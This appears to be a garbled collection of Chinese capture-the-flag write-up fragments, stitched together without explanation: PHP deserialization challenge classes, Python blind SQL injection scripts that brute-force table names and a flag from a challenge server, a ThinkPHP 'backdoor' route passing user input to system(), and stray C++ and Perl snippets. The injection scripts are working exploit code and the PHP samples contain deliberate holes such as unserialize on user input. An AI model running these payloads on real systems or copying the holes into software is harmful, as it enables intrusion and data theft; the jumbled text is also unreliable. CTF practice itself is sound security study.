<?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; //$this->source = phar://phar.jpg echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
import requests url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/' payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}' result = '' for j in range(1,500): for i in range(32, 127): py = payload.format(j,i) post_data = {'id': py} re = requests.post(url, data=post_data) if 'Nu1L' in re.text: result += chr(i) print(result) break
import requests url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/' def add(flag): res = '' res += flag return res flag = '' for i in range(1,200): for char in range(32, 127): hexchar = add(flag + chr(char)) payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar) #print(payload) data = {'id':payload} r = requests.post(url=url, data=data) text = r.text if 'Nu1L' in r.text: flag += chr(char-1) print(flag) break
来爆出flag出来,但是flag都是小写字母,所以可以使用c语言来转化为小写
1 2 3 4 5 6 7 8 9 10 11 12 13 14
#include<iostream> using namespace std; int main(){ int i=0; char a[]="FLAG{2A2D6335-F1D1-4E6E-8A77-135E0DFC5149}"; while(a[i]!='\0'){ if(a[i]>=65 && a[i]<=90){ a[i]+=32; } cout<<a[i]; i++; } return 0; }
# test file exists and is readable #第47行 # test file exists and is readable unless (-e $path) { return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND, "File `$path' does not exist"); } unless (-r _) { return HTTP::Response->new( &HTTP::Status::RC_FORBIDDEN, 'User does not have read permission'); } ... #第127行 # read the file if ($method ne "HEAD") { open(F, $path) or return new HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR, "Cannot read file '$path': $!"); binmode(F); $response = $self->collect($arg, $response, sub { my $content = ""; my $bytes = sysread(F, $content, $size); return \$content if $bytes > 0; return \ ""; }); close(F); }
打开页面,我们可以看见源码 `` <?php namespace app\index\controller; class Index { public function index($run=[]) { highlight_file(__FILE__); echo ‘
Welcome to CTFSHOW
‘; echo ‘Powered by PHPthink5.0.2‘; echo dirname(FILE);
if (!empty($run[2])){
echo 'ZmxhZyBpcyBub3QgaGVyZSBidXQgaXQgaXMgaW4gZmxhZy50eHQ=';
}
if (!empty($run[1])){
unserialize($run[1]);
}
}
// hint:/index/index/backdoor
public function backdoor(){
if (!file_exists(dirname(__FILE__).'/../../'."install.lock")){
echo "Try to post CMD arguments".'<br/>';
$data = input('post.');
if (!preg_match('/flag/i',$data['cmd'])){
$cmd = escapeshellarg($data['cmd']);
$cmd='cat '.$cmd;
echo $cmd;
system($cmd);
}else{
echo "No No No";
}
}else{
echo dirname(__FILE__).'/../../'."install.lock has not been deleted";
}
}
}
1
从源码中,我们可以看见hint
/index/index/backdoor
1
因此,我们可以构造
index.php/index/index/backdoor
1
然后回显出
/var/www/html/application/index/controller/../../install.lock has not been deleted
<?php ini_set("sesssion.serialize_handler","php"); session_start(); class student{ var $name; var $age; function __wakeup(){ echo "hello".$this->name."!"; } } ?>